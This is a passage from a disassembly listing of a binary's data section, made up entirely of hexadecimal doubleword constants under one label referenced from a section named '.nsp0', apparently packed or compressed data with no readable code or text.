		dd 6221DADFh, 733ED03h,	0A5608FE5h, 54F725AAh, 70CC3AD6h
		dd 38523B7Dh, 4B37EF9Ah, 9C1E7232h, 8764EF40h, 73BD1790h
		dd 88A42CD2h, 12FC4E58h, 0EB50AF3h, 989BF96Ah, 0FB8C4C19h
		dd 91085CC7h, 6BE5AB65h, 0D0441D5Dh, 4EC88C24h,	1ACDAA21h
		dd 0E39CAE64h, 0E1BD71A0h, 5A5CB255h, 84B94Dh, 0F926643Fh
		dd 0BE60AFCDh, 0A9467E71h, 33DE55C6h, 0FE588449h, 0E99BA294h
		dd 38C0F31Eh, 843E4FD7h, 212D778Ch, 0A3699198h,	518CCA2Eh
		dd 0BAAEF95Fh, 1D397979h, 42B56F6Eh, 0F45293CBh, 0D99AD1BEh
		dd 0E1E81068h, 7D40A09h, 40C42582h, 0B1F88374h,	0D897BFB9h
		dd 88F542C2h, 12B7D310h, 178D21ABh, 118ED713h, 0F46225DBh
		dd 6AF88CF6h, 2D818796h, 392FCADBh, 492316ACh, 0E6AB7DC9h
		dd 19B2E55Bh, 0DBE50782h, 0C1099878h, 0F73FF412h, 0E22D8AC6h
		dd 0C0EC6931h, 0C410B950h, 367F161Dh, 9E08B689h, 515FC8E3h
		dd 996F1DBDh, 0AC8912EFh, 7DC1903Ah, 5C30ACB2h,	0D1D1D39Eh
		dd 0F7735AF7h, 24AB077Bh, 6A39CF12h, 895FBA8Ah,	15DB50DAh
		dd 2A01AEC6h, 45E9A768h, 9CBE63C6h, 0F010B24Bh,	0CBD6CDB9h
		dd 257EFCE9h, 454044F0h, 3ABE5055h, 537C511Ah, 2C2BC3DDh
		dd 16DE57E4h, 0C3C8FD47h, 0FEDC6272h, 0A3146D6Fh, 0ECC42FF6h
		dd 77907EA0h, 50AA60B6h, 7E8DC6Eh, 4F859679h, 8DCC6A94h
		dd 0BF4BA1DEh, 56F046C5h, 0AEF7EB13h, 0CE85D02Ch, 9FB17DBh
		dd 0C8793B03h, 0D27E2238h, 1C71F8D0h, 31F5CBAAh, 3B862779h
		dd 8CEB017Fh, 0D430740Fh, 494CCA0Ch, 0FB7B4229h, 59AFCA5Eh
		dd 57E3C6B7h, 0BD26E660h, 0CE30F85Ah, 5816484Dh, 6A2DECD9h
		dd 7FAAB323h, 0A762BB1Dh, 48F2ABD7h, 0D4A2DC44h, 0E663515Ch
		dd 0EEFFC5CFh, 1DD6EB07h, 97695FFCh, 334B82CBh,	84B882E9h
		dd 0B927B817h, 0FC0A72DCh, 4A54E2BBh, 9443F6A3h, 0F2B07C3Eh
		dd 0B49A4A49h, 0B0F3CEE2h, 0DDA07A0Dh, 76E2DFDFh, 1538B35h
		dd 6D9F37DEh, 0C4EE5F2Ch, 0E5AC9B65h, 3950B47h,	56C178FCh
		dd 0E7630EEBh, 4CA3EC75h, 0A7C658B0h, 0A554AE07h, 46DA0EA6h
		dd 4217E669h, 5AAEC8D5h, 3934875Ah, 9A1AE54Ch, 6D8480Ah
		dd 769B88C5h, 0DEACE11Dh, 4E0DD0C0h, 2AE998E4h,	6D69B9AAh
		dd 2AE26AEBh, 0AB49B9DDh, 96AD990Ch, 125CCC09h,	26418329h
		dd 0DA2707h, 57DB1677h,	50AF71E4h, 0E27850B3h, 0BE481F3Bh
		dd 0AE870CB7h, 23C12E7h, 0AE08799Eh, 0EEBC796Ch, 54827D1Ch
		dd 40670028h, 0AE542BE5h, 0B90BE965h, 0C4015A5Bh, 6500BA4Eh
		dd 5AADA90Bh, 620C266Ch, 0C92E6835h, 0E3EBAC1Dh, 9A674B96h
		dd 200E729Bh, 3F106D00h, 0BCE4CEECh, 0AC3CD10Ah, 85E9C7B7h
		dd 7E2FF5A1h, 0B83B9F82h, 14F0EAFBh, 0C982B73Eh, 0CAB36409h
		dd 4752AB1Bh, 0A8E0724h, 0B056887Eh, 0F020C90Fh, 8C15A58Fh
		dd 0EED3BED4h, 453E13E8h, 0DCE9C87h, 6FC6D011h,	2EDF39DDh
		dd 121F6D29h, 0D80A64D6h, 0C733EAB7h, 66D409DBh, 0D9A3D821h
		dd 78BEDBFCh, 1BF1CC28h, 0B92E20F1h, 0BAED9ABAh, 2950E62Dh
		dd 7C7CDF2Fh, 5F48BC40h, 0EB7DAA8Ch, 0CAA66179h, 0F1DC829h
		dd 1A63D94Dh, 0E57AD165h, 0F609ABABh, 9B5FAE62h, 5E3104D4h
		dd 0BB05727Dh, 64BF1F0Bh, 9B69655Dh, 0F98EACD7h, 0F3CE399Eh
		dd 5CDC8D67h, 72A08BEh,	6EE5DE4Ah, 863685C0h, 0AADB433Bh
		dd 5F1CF125h, 20EC8F47h, 0A7CD825Dh, 620A5A51h,	0B4CA743Ch
		dd 0B6CC7D8Dh, 9A052F56h, 267186F8h, 0AF83780Bh, 3F40818Fh
		dd 0C2F14433h, 6139BEABh, 786C4C4Eh, 0EF80BD53h, 90F116A8h
		dd 0E5227451h, 1669C2E4h, 0E6853E37h, 0C595A6C5h, 0E3CA31BAh
		dd 9D86B97h, 2F10C71Eh,	16337B14h, 0F79386F8h, 0B7E29C4h
		dd 79E4F062h, 47A30D3Ah, 2608AFE6h, 177ED143h, 0C4A0F72Eh
		dd 5E417BB4h
		db 0FDh, 0CCh, 17h
byte_524F4B	db 7Eh			; DATA XREF: .nsp0:0042BB40o
		dd 83BEE8D9h, 0BA877D7Ah, 0FE938A36h, 440A5ADFh, 5FD1D2DAh
		dd 24D1682Dh, 0C93587F7h, 77852708h, 0B372AF2Fh, 0D1E1260h
		dd 0D194D938h, 70EB7A7Ah, 0F3C1D353h, 0F624A6BBh, 0AB48CBBDh
		dd 33ED8EE7h, 2E4797E9h, 0B20D2C42h, 3638A581h,	0E3D53DBFh
		dd 8E0811D3h, 8AF5D20Fh, 0AC97C6DBh, 0AAC80F5Bh, 0CB39CD0h
		dd 0B301198Ah, 0FAE81827h, 0F9CD47A8h, 0D01B8B36h, 843705C2h
		dd 771C26A7h, 0A894F4B6h, 0C97803CCh, 0CA01567Ah, 5D70EFADh
		dd 0AE8613C4h, 0EEC09ED5h, 0F81BB5BAh, 9F6856D4h, 6F4AFAE9h
		dd 11BFBC62h, 6EFB3736h, 2C67A72h, 6B0FDA4Ah, 548568B4h
		dd 0B9414446h, 699D1D34h, 3206A518h, 0A0DBFD89h, 3546C2E2h
		dd 26285728h, 324720F3h, 67D61BCBh, 9939EE86h, 39FC0C0Dh
		dd 0EB771D34h, 0E6A35176h, 1C4D951Dh, 0A06109CAh, 0AD4C2341h
		dd 992523DAh, 570F60E1h, 9DA8272Fh, 41BFC3B3h, 27637791h
		dd 6AFBC49Ah, 42F7282Eh, 15078DC1h, 0E6E2EFA1h,	7B41646Bh
		dd 367F8D09h, 0E266F8A3h, 6A0C232Ah, 83C361D2h,	7EC2A073h
		dd 4EBF3054h, 7371FF03h, 64FEC8FFh, 0BEC20Ch, 0B3BE0439h
		dd 99215309h, 0E914F49Dh, 19345E1Bh, 396C1224h,	59E831Ch
		dd 9B1BDBBAh, 0E2F1E886h, 0D72D7D53h, 0D92442A3h, 73B9D2Eh
		dd 0E7C8AF16h, 4B0F42F8h, 0F53CFE1Dh, 23C015BFh, 5BC8500Ch
		dd 28560735h, 33D31EA9h, 0A194EE90h, 3C814440h,	0B8F50486h
		dd 0B3FFEB6Bh, 0A23B1CBAh, 3F5F968h, 72BF95F0h,	2BDFFD07h
		dd 11484158h, 0DD807D95h, 881AA93Dh, 79F228F9h,	8FBC2468h
		dd 250F36CAh, 47F8DEF5h, 9117B0Eh, 0E3D9DAC2h, 5D666293h
		dd 0B886532Ch, 68FA96B9h, 4C9E597Dh, 0C898F7B3h, 457F3FC9h
		dd 5F8E0D57h, 956702CBh, 3C95C1B6h, 8D4EE736h, 9A345C4Eh
		dd 0CECA4E43h, 144DA02Eh, 429200C0h, 1D0958F6h,	0D390B7C6h
		dd 95D475DEh, 42601789h, 0A25B7511h, 9F48489Bh,	698D0F7h
		dd 0C04729D9h, 2838EFC2h, 0FF7857FCh, 7C806E74h, 0E5A557F9h
		dd 94CDAAFCh, 69971350h, 687BBF7Dh, 0FC9F6F29h,	4421833Fh
		dd 58214A3Eh, 751C27C4h, 44F2F671h, 6FA4E182h, 0D67A2618h
		dd 547A2BC8h, 50EC007h,	0F5F7069Dh, 578A7AEh, 37695590h
		dd 0EB7C5ECCh, 0EAE9F7E4h, 2C5E3ADDh, 1CD28B22h, 208E3E84h
		dd 970150FEh, 9233EFE5h, 685B5104h, 4B380D14h, 3606D21Eh
		dd 0F8AE08D6h, 0DB98AB3h, 33B813E0h, 0CD46A64Fh, 167237BBh
		dd 8E6E7F5Dh, 7DE84EE0h, 48C693A5h, 0BFA882F3h,	1A3512AAh
		dd 96C1DE1Ch, 0F10C34FAh, 0D5D73AC2h, 0A6CD67C7h, 0B2DCB691h
		dd 0D6D0C1D7h, 0C44FF0Eh, 6F63D0A9h, 0A241AAA1h, 0B44D7F40h
		dd 0C32CD1EAh, 0E4F8FC5Ch, 0CB599E5Dh, 43F56A12h, 192E670Fh
		dd 606D64E0h, 919A3064h, 1D0C845Fh, 0A6BEFFA5h,	1F7AEE67h
		dd 3FC568E6h, 6120AE18h, 0ADB1F9AEh, 0D160D620h, 63D8094Ch
		dd 0C56AFBC5h, 0CD02E1EBh, 69351677h, 0E6CE20A0h, 1DBA6D37h
		dd 0FBC616F6h, 252AFDA2h, 0EB160FF2h, 8DE3C4Dh,	0AFA71FEEh
		dd 0DBF08B3Ch, 0D183DD64h, 0B06F6CBEh, 0CF4B78ECh, 2F8724C8h
		dd 2953888h, 0DA142EE9h, 6CCC1EF1h, 5693FB87h, 3A242E55h
		dd 501A06DDh, 0FC6A5A13h, 0A7DBE250h, 0B008B10Fh, 0B4976294h
		dd 12203AB1h, 0E4DA5ED0h, 0DE14DDD9h, 8DC14B5Ah, 5594E997h
		dd 73CDDFBh, 60A6CF77h,	0DCEF270Dh, 3C5788C4h, 0F5C0B8D6h
		dd 0C3F22CF4h, 59D5719Bh, 0BF757C62h, 1864DF88h, 0B9D46DEAh
		dd 46CBF131h, 5246212Ah, 43ADDE08h, 518919D8h, 0C52954D9h
		dd 3BAA6931h, 0E56998EDh, 7C337C3Bh, 30AD6118h,	115A1D49h
		dd 0C744C92Ah, 0CAD57D5Ah, 0ABDB699Bh, 0A6E9B1F7h, 33F7295h
		dd 390A7FE6h, 577B17ACh, 0ED6F1DD2h, 0BDA47010h, 2FD028F3h
		dd 0B88C8F49h, 9A62F8B5h, 0B851C78h, 0A5ABC632h, 0E6ED0D9Fh
		dd 5BAAE6D8h, 67A2AF42h, 4C444CA1h, 0E806EA20h,	704498AFh
		dd 0A7CECB37h, 64208F21h, 46F67A4Ch, 0AC1CD57Bh, 67C6206Dh
		dd 824B4D4Bh, 0B395D2F5h, 0B861047Ch, 834F3417h, 93F64293h
		dd 96FE65B6h, 0B76FCDC2h, 0D3914A29h, 4E9F9028h, 0D3D403C3h
		dd 9133D227h, 0BFED2649h, 7B6E044Fh, 7A081F81h,	360D5839h
		dd 277642E7h, 2A9D5A5h,	0F515C940h, 0FECD2D7Fh,	0DD4839A7h
		dd 59514110h, 7CCEBEDBh, 0F3EA18F4h, 0B621FFC6h, 301351F1h
		dd 77030FE6h, 2CC064E3h, 44C1636Ch, 0B582FB72h,	9F757E6Fh
		dd 0E72256D3h, 8635FCE2h, 0BD707C64h, 0A5200379h, 5E454A6Ah
		dd 69E7EB3Ch, 0BBCDE732h, 1CC569DBh, 0ABA70F1h,	37DC8867h
		dd 8D88F2CAh, 0FB606AEDh, 0AFC789A6h, 0DAEE7278h, 760E6A7Fh
		dd 0F1D38A5Ah, 281703E4h, 9A849314h, 193FBB7Ah,	6687A6D3h
		dd 489DE6Dh, 0D8D2C5DBh, 281C3CDAh, 0B0D0230Fh,	0F5DB225Ah
		dd 0C7AC4ACCh, 23172F4Bh, 21BCADBCh, 0DD85B9C7h, 88865B59h
		dd 385BDEDAh, 11C9070Fh, 0DCE2EF90h, 2649F9C5h,	881031A9h
		dd 9285FFBh, 1BF92209h,	0DCC449C1h, 0F4961057h,	1D44A77Ch
		dd 14AAA080h, 174F9FECh, 7AF5A5F8h, 9356A526h, 36095158h
		dd 4BDF921Bh, 0F2BC5736h, 0CF50AE8Dh, 95DAF956h, 576FBB21h
		dd 0A991C7B3h, 7BA0949Fh, 72B45B55h, 0F2CCD41Ch, 7930BA66h
		dd 98158E6Dh, 5DB67F6Dh, 0EBFE9BA4h, 0DF2E0CD9h, 0C8C0EC59h
		dd 40AAAC04h, 87F48493h, 0A6CF6460h, 0EA773626h, 70024F2Ch
		dd 2CDE8488h, 7FF7E30Ah, 70E1D4BDh, 1914873Ch, 0B114ED43h
		dd 4B886BA0h, 56B1F4B8h, 1A8B80FCh, 0F3ECF43Ch,	0E975068Dh
		dd 5C4C711Ch, 0A33115B0h, 9281DE38h, 6E223C26h,	9CA8A1E7h
		dd 3D033F54h, 0E56DE429h, 7115C135h, 6B554D6Dh,	0D62A586Ah
		dd 0DDC723C5h, 2292AB1Ah, 5B0C5B9Fh, 0F3736A8Fh, 21E82914h
		dd 0D62315B5h, 8AD804AFh, 5BB1A749h, 5D9E3734h,	94F2E9FBh
		dd 0FD3921CDh, 0BA3724D0h, 7B6953A9h, 34F7D19Fh, 0D91AD43Dh
		dd 8BB877FFh, 3687C88Dh, 0D26338h, 60C1F787h, 2DAC9668h
		dd 0F51EFDD0h, 0CBE764A4h, 206F24CEh, 0DD329A60h, 6560F7DCh
		dd 0D1FA8D4h, 9477E773h, 0B0927465h, 0D478AD12h, 0E2D4BD40h
		dd 7ED0992Dh, 2FDC373Bh, 9B417C66h, 651AD207h, 2E4B0DDBh
		dd 5BBFB752h, 0DB42B090h, 6BC754B5h, 0CBDE2CE0h, 0D8410BB3h
		dd 0EC9D4324h, 6068FD0h, 0BC0A9567h, 0A4A74A19h, 0C1E3CDFFh
		dd 0B98FDD12h, 31C5FF38h, 213A760h, 0AA48A92h, 48AAA00Fh
		dd 65127D51h, 0C1852393h, 900C767Ah, 4DAC091Dh,	0A2CCE00Ch
		dd 0EFEF58D4h, 0AA1A8356h, 1BC24FDCh, 0D6E6F71h, 0C66A3795h
		dd 0E1A01561h, 52FB104Ch, 0E0A07AE2h, 9C2DF79Ch, 0A684B758h
		dd 686D775Fh, 0E05600D5h, 65746852h, 0AB27229Fh, 4D07E650h
		dd 5968CA3Ah, 256C67Dh,	4DDCE7C9h, 26251C15h, 0E6D79185h
		dd 0AA391488h, 0FBA01700h, 59FB92B1h, 1A23BB34h, 0E26B8B4Bh
		dd 89F9EAC8h, 182FDAADh, 0A72F0341h, 86F502DAh,	11699492h
		dd 5DFF4EF6h, 0E2071B74h, 8D62CE07h, 28387459h,	0FAF5835Fh
		dd 0AC148866h, 889D40ADh, 6241E065h, 0DAA4614Eh, 2C30E1C7h
		dd 9C05930Bh, 5BA497F5h, 0EC80CE17h, 677987E2h,	67E60186h
		dd 0DCB3012h, 0A0583FDh, 0E502AD59h, 7B8E8F1Dh,	86E0154Ah
		dd 357AA4ACh, 0D0A27268h, 0B5DA6BF2h, 55B67021h, 0AD3372EEh
		dd 2DB42210h, 24D1C708h, 0B4EDB28Dh, 0D6997E7Ah, 25F76E6Fh
		dd 98E6DF9Fh, 68C38086h, 0DFF35BCh, 0E4D0FE32h,	269E4C25h
		dd 0DE085930h, 4AD06D0Ah
		dd 0FEEA203Eh, 0AD160E09h, 2D2E420Ah, 0D5A41632h, 4D35DBA5h
		dd 803E6A5Dh, 0C1521FBDh, 742B88A1h, 86B8F425h,	5A14FF99h
		dd 0ABB85498h, 0C9085CCBh, 18CB3501h, 0EFEA34D8h, 1B3ABDB0h
		dd 17FDDC1h, 9A4A8FCDh,	9950ECB2h, 68C62A20h, 96D1CE7Bh
		dd 0BA4CB7A6h, 681AA6h,	0F17680E5h, 0A61DE465h,	0E9B0DEE4h
		dd 1C052193h, 50AC6F5Ch, 0ADC73FAEh, 0F32391ADh, 8EF56E22h
		dd 99DBD6Fh, 182BD721h,	197F8492h, 0AAE2C96Ch, 4D91F755h
		dd 533DE928h, 26D8C496h, 3CF28DF8h, 6178DB13h, 5D3A8213h
		dd 0EB7A2158h, 0A8BCA4FAh, 8D5982C3h, 50A6D4Eh,	42C5C7C0h
		dd 0C34627C4h, 36C74653h, 0A9E82295h, 266A2A2h,	3B65290Ch
		dd 3B9EC254h, 0C2D50F36h, 0E3305BFDh, 0A8A8B328h, 0C6009FDAh
		dd 2F68829Fh, 894C6D61h, 0B7099FE0h, 0B0B05F34h, 57D44231h
		dd 36C10099h, 0DC8A7A3Bh, 8ED74E10h, 75CD3CE6h,	9912E285h
		dd 0F17EA41Ch, 7936407h, 4CD370C9h, 6C5F5761h, 0CE43A35h
		dd 0E0FEF9C7h, 0E19B4C89h, 900A9A65h, 0F9C08924h, 0A6710058h
		dd 0E9451291h, 98BC7373h, 0FE5B6546h, 0D8846984h, 344B892Dh
		dd 176E2904h, 0BE973D0Fh, 0A9A31985h, 70EA73B3h, 270AB622h
		dd 0C11954ACh, 432F705h, 0C06D170Bh, 7120E782h,	0FBF3AEC3h
		dd 549C4FA8h, 7E38A0CFh, 672C1754h, 0A3F67D85h,	5FCA1CDh
		dd 0B7D34CA6h, 49A90B16h, 10756A36h, 0F146BA1Ah, 0CD438921h
		dd 0BBDDF98Eh, 946B747Eh, 0C3B89820h, 0B775A38Bh, 54C99AEFh
		dd 0E03E1252h, 0BE286AEFh, 33DFE9Bh, 523C7B02h,	9D487ED3h
		dd 4723A83Ah, 792BA619h, 8C945DB4h, 0E07C0BFEh,	0C5B44D4Ch
		dd 59578E40h, 0B25BBADBh, 601F38FFh, 0C34AA0B5h, 6DD1C67Eh
		dd 812BBC1Ah, 72DA0D1Fh, 0F582A3A0h, 323811CBh,	129A3FC0h
		dd 94787513h, 24478DF0h, 0CDEB2611h, 81B96C84h,	28564276h
		dd 65C38A4Ch, 4DF7DB00h, 585E8304h, 688421ABh, 31B047Fh
		dd 0A1C119A6h, 0C6F41BEEh, 0A6A9BFBCh, 0A1C41952h, 60A7080Bh
		dd 0D545A27Ah, 6194B109h, 1CE4B7F8h, 5050097Bh,	0E5061DD2h
		dd 0B23ED4C5h, 0D568AC27h, 5FBB4EB6h, 0DFA4C1FDh, 1CAD7407h
		dd 0BE39484Bh, 81EAA16Bh, 0F66F5C64h, 0BBCFBA61h, 9005556Dh
		dd 0A9AAF6B7h, 0CA616A6Fh, 0DC3B5E1Ch, 69032C48h, 0F30D0176h
		dd 0D537F856h, 93459E4Ch, 99A5C5A3h, 0D0C7AE12h, 0ED361ECAh
		dd 0F86B7E1Ah, 0B257B05Fh, 0E32B715Ch, 0D32001B0h, 476AEEEDh
		dd 75D7B835h, 0D877BCF6h, 0F15046D8h, 9FF00E29h, 0A6BF00F4h
		dd 0FEB19AB2h, 0B15E29C7h, 26B891D6h, 0EE1A6C62h, 0FCCC15BDh
		dd 0EA678415h, 926DED45h, 450E7948h, 0B000D0Bh,	89851D31h
		dd 4CC0F151h, 0E8885C97h, 0FD5204B6h, 37192EAh,	6F3F5B51h
		dd 0D224D194h, 0C5D31CEBh, 0F5B9BDA9h, 7C2284AEh, 53AF7A07h
		dd 0AAE8584Fh, 0DE672955h, 25814457h, 0FBA81331h, 1C26733Bh
		dd 9FDDFD85h, 0B4A3A86Dh, 0D661FCE8h, 20B031EDh, 0A14246E3h
		dd 4B9CF4Bh, 0D1DBC0C8h, 1B504D0h, 0E4E9AC6Bh, 813C468Fh
		dd 3E574F07h, 0CB1B3B44h, 5FD4DFEEh, 0D1E8B893h, 0FC400427h
		dd 39A161F4h, 5731BFFh,	2DC4948Ch, 0CED821CAh, 101F9C49h
		dd 2CD43A0Ah, 97237C56h, 0E164A1B3h, 40AE5A06h,	0F22C832Bh
		dd 2524EB05h, 5894D214h, 0B68A3852h, 3EDE5BD3h,	0A1F5EE2Ah
		dd 0F936208Dh, 15932784h, 60C70810h, 215F852Dh,	12BD715Ch
		dd 0CE7E0A81h, 43F9B5EAh, 5A65AD9h, 0C1EF3DDFh,	0F63F2540h
		dd 0A9A55B71h, 572F8E25h, 0D6FBC974h, 0A37C3B5Ah, 0AAFC6A2Dh
		dd 250CFE9Ch, 0D5AC1CEFh, 0A99B8C6Ah, 0E63994ECh, 5BD98DB3h
		dd 0CDA79E4Bh, 0BC5CA30Dh, 7F2EF143h, 0F3B142BEh, 1B4D563h
		dd 0E9F91C8Fh, 4F9AC6DDh, 91D8F4Dh, 0F6968449h,	0C4780E3Ch
		dd 0A65497FCh, 0EF8CD0CFh, 5BDEB227h, 8B24E462h, 0FD062448h
		dd 1FA7A343h, 0CE83FA98h, 277003F3h, 61DB59BEh,	0A56DC752h
		dd 418CF73Dh, 771B7141h, 45717C3Bh, 0C60FAA96h,	0CB305BBAh
		dd 3C0BED42h, 0BC043D3Eh, 4159254Bh, 2D4944EFh,	1B7EED78h
		dd 6DC26870h, 0B8F13C73h, 2BD36130h, 1EC7A211h,	4EBF293Ah
		dd 568A13A3h, 93003DD8h, 786BCDA2h, 138E3D1Bh, 6E44FEBBh
		dd 51231362h, 8D9A13F8h, 1D5B0BD9h, 0C4C8581Bh,	0F0A32C1Eh
		dd 0BDE574A9h, 9E02E1EDh, 0F85605EFh, 378B805Ah, 6F124A65h
		dd 6450C2A2h, 26F0542Bh, 0B97CA602h, 0B8D37557h, 131E97A6h
		dd 665C08CEh, 43373489h, 0BEB7EC7Ch, 3E94D7EAh,	7A7F9982h
		dd 211AEDA3h, 0FEE3FCCDh, 0D5E32A52h, 93991CE3h, 0D28D3633h
		dd 98F01FFFh, 57FE0F0Dh, 0EE70C8EEh, 0FC14AE75h, 9A31604Ch
		dd 0D05DB397h, 7E76F33Fh, 5C6C8817h, 9E480E61h,	38639B4Ah
		dd 4123F924h, 63B3E98h,	9884DDFAh, 2DBF2Fh, 0B44CB838h
		dd 0BDF2E843h, 731B47FCh, 0EF9E22EBh, 0E4CF721Bh, 0D25D279h
		dd 85B29879h, 57838BF1h, 0C9B8F069h, 0FF716FA9h, 2EEC5CD1h
		dd 4A096DB7h, 0E3AEDC22h, 8073F6E2h, 60D0A929h,	0AA902FE9h
		dd 63CEAD1Bh, 7EA4DD3h,	1FA6BDCDh, 98130780h, 1929916h
		dd 4B0B70BBh, 9E918AD8h, 529850ACh, 0C78109FDh,	83727256h
		dd 612A4DFCh, 0A1DC04DEh, 72C324F6h, 0C43A25A6h, 3447203Ah
		dd 9D164866h, 2BC73224h, 0D0C6BD5Fh, 0E4909C38h, 8E11CF6Eh
		dd 0D78CA0DEh, 67A76058h, 87546571h, 7DB988DFh,	3E99E1B9h
		dd 0F514DF9Bh, 426B5932h, 0A6EA8F53h, 0D178BBE2h, 80F07775h
		dd 1E691C0Ah, 32AEAB3Bh, 6894D3A7h, 5123A84Fh, 7A3EC93Ch
		dd 6290E7DDh, 0A693EFBBh, 0DD94C73Ch, 8401527h,	0EB9AE2D6h
		dd 0A5B93279h, 0AD45684Fh, 0CD14FC74h, 2189AEDAh, 3A9B250Fh
		dd 7477F81Ch, 83A9B6F5h, 0F75B948h, 70AC3904h, 2EF723D7h
		dd 0BDCFCE69h, 90D43683h, 57EAF60Ah, 7309D33Dh,	3AE01C4Fh
		dd 0B3725CD0h, 111ECE20h, 3EB5AF4Ch, 90B78457h,	0E9285D6Dh
		dd 0CE1E0655h, 426F3252h, 7476C1B7h, 4E572108h,	0EE08090Bh
		dd 1B37DA75h, 482A9BA1h, 946EEDADh, 95A14387h, 0D3E2C3A9h
		dd 0A6DDAF78h, 0F9AC8148h, 0C572E2D6h, 0F5554639h, 0D996361Dh
		dd 0AC963F50h, 20E71EE6h, 3D21A694h, 0AB24227Bh, 0F71CEAF3h
		dd 0A2A66AACh, 6F524849h, 0C570636Eh, 8C56C164h, 297F52C2h
		dd 0B1072915h, 7B7B295Ch, 79E2B10Eh, 0A7634EAEh, 9E187A91h
		dd 31270C85h, 0ED0E3B6Ah, 7197D7C0h, 0B689EBFBh, 77ECE153h
		dd 71A84FBCh, 2638DBDDh, 0B6DB6283h, 0D2C972CEh, 0B7B56722h
		dd 3D677B50h, 0C3A55CA3h, 0F33428A4h, 0A6C9C471h, 0EB6F575Ah
		dd 0B7ACD099h, 0FDB2D7C7h, 317BEBC9h, 7B023B0Ah, 2ECB94E5h
		dd 0F2CEC1FEh, 0C1D272C4h, 0B3AA2983h, 5337D317h, 50C16085h
		dd 8772AEADh, 19EE3CBh,	0A65D084Bh, 0A9E2A24Bh,	9C77EA93h
		dd 83F7F682h, 5EC8C09Dh, 0A6307318h, 0DBC26571h, 59943A9Bh
		dd 1E8473FFh, 5D9ADD35h, 7DEA3A23h, 54AFCF18h, 3E9E6541h
		dd 3E2EBF04h, 0ED2C9C01h, 0E41A626Fh, 0B0CA520h, 54339E10h
		dd 4BB12259h, 7D4C4702h, 595EF298h, 643DDD10h, 8D46A542h
		dd 49FBC5C1h, 9414FE2Ch, 7BF3FC7h, 901F3907h, 75D7A4C8h
		dd 0F7EE028Ch, 0E001C288h, 0B6DE5EE3h, 399C5F74h, 0DD805B14h
		dd 0D2DDCB82h, 0BEF525BDh, 57CC1B55h, 0DA180C95h, 0AFC77575h
		dd 40F2C9BEh, 0DA98ACB6h, 256E3188h, 0B6A708A5h, 815850h
		dd 1FE31CD8h, 0ECA9F60Eh, 3B6650E8h, 791455F3h,	9645B556h
		dd 46788F50h, 5DF77EF5h
		dd 0B0BB11E6h, 22AE5490h, 1238DDC4h, 9F057D11h,	0BBA47EC2h
		dd 0C2A79995h, 96C1387Bh, 1ACE975Fh, 0F6B2CF39h, 6209AF30h
		dd 92FB87BCh, 0B37D34Ah, 0BBDCCD89h, 75CC8636h,	0B254A855h
		dd 9BC0E0F2h, 6205CA2Ah, 304DF509h, 0B98E9E7Ch,	0AAC0709Eh
		dd 6BD63CDAh, 0D8600E3Bh, 24756277h, 6C374518h,	0A7E73821h
		dd 2C0DA9h, 692369D2h, 0C83505E4h, 0BB883644h, 7823E8A9h
		dd 91423B20h, 0DA84A43Eh, 0D703605h, 0C0755AF2h, 3111E7C1h
		dd 0AB14CD40h, 0B97CD59Bh, 52FEE0F4h, 1F802EFBh, 4D78555Ch
		dd 0EE45433Eh, 109C0008h, 0C7315D65h, 0DFE0AB4Fh, 0F4D2AD91h
		dd 3C42EBFAh, 624CD5ECh, 0F759ABC2h, 791B089h, 1132C5CEh
		dd 0F1BC7E5Dh, 7A435227h, 99D1B542h, 2D44AE67h,	0B9EDB096h
		dd 93EAEEB6h, 0A0697D22h, 0C53603E2h, 0F819F10Ah, 2644B215h
		dd 783334BAh, 2FB77CE1h, 0C26D35D3h, 0D84C03B8h, 0BB56A154h
		dd 0B75E8F5Ch, 0F663B849h, 5B7195B1h, 8816997Fh, 514F4ACAh
		dd 0FE232659h, 0B80C2DC4h, 75BBF572h, 48B17294h, 949BC699h
		dd 2371E8DEh, 2E2E01E9h, 53FDF3F9h, 29C6E842h, 0F6F4DED1h
		dd 0FDB02404h, 859E703Ah, 87186843h, 0BB7027CEh, 844AD5A7h
		dd 0C4D4FFFh, 8EBC94B5h, 27805B02h, 0D9E8A93h, 46B3C63h
		dd 59DC7BA8h, 6FA48FA2h, 3C0232CFh, 633FDAB7h, 0DB038F0Fh
		dd 0EB8EBB0Fh, 89A46668h, 0EC11C844h, 61D484B7h, 0CF00B115h
		dd 2D41B33Eh, 0B8F14441h, 20289206h, 4B62EDB0h,	0B5224097h
		dd 7236B172h, 5E9AC592h, 1F74AF79h, 0EDFF4330h,	18AD3634h
		dd 90DA72B1h, 8BE57CDh,	5E547E44h, 97537A03h, 1587235Dh
		dd 2E38E121h, 56ED58DFh, 0FF26FC70h, 0C76DA5A3h, 0A024D5FAh
		dd 0C05A3D6Dh, 5DC3747h, 4415BCF9h, 6696A148h, 6D60FD16h
		dd 73489A91h, 1E2B80A6h, 0DD1CA8F3h, 8FA13AAAh,	8A74AF03h
		dd 0F17EAF43h, 1EF995DAh, 6B7CD3FDh, 0BA093E8h,	0D16120F8h
		dd 0EFD97830h, 4ABC1F75h, 141031F3h, 0A2BDEE7Bh, 98A09ACDh
		dd 0F63B732Ch, 82B2D109h, 0F4F77655h, 0D60A98F2h, 965848C4h
		dd 4EFC4441h, 51F33813h, 29906A62h, 95516761h, 20928114h
		dd 0AE2E60Bh, 632F764Dh, 590E45AAh, 0C1C3D92Eh,	3C3E84F3h
		dd 8DCB9985h, 0C4C26E28h, 0B9E8D19Eh, 872573BAh, 72020E0Dh
		dd 7124C70Eh, 4E2DEDDAh, 433EC6C9h, 2FF00AA8h, 0CCCD2788h
		dd 81A692D3h, 0F047FDAAh, 222AFCFh, 2539DA22h, 0F334987Bh
		dd 0FC9DA426h, 0D935B5E8h, 57FFFA2h, 0CED0CE83h, 0F5096801h
		dd 8414BE20h, 0AF169C63h, 1D88B78h, 8EC0BA32h, 56B3B6F5h
		dd 894BAFB4h, 4A11E1Ch,	9D76B2E3h, 0E06DBB4Fh, 0EF662C1Dh
		dd 0FC5B6E0Fh, 4848D856h, 7D10FA79h, 0C12A7CCEh, 0E84C5D46h
		dd 0DCAC5D0Dh, 0C9C2D047h, 5BFFBAD8h, 0A5844E86h, 35A8B473h
		dd 36C84AC6h, 89DF08ECh, 3AB0885h, 0C1AF549Eh, 0FE11C6FEh
		dd 0F20E0B4Ah, 0A37CE87Ah, 50BA3115h, 8F247943h, 1CAA7284h
		dd 3C07CEFAh, 5F27A401h, 99C59825h, 109DE713h, 3056D832h
		dd 0A44F7DFDh, 0D285052Ch, 0DE13E451h, 67A518B5h, 4E5557C4h
		dd 65298C9Eh, 87A58E3Eh, 129D298Dh, 43FCC84Ch, 0F6CA2CA3h
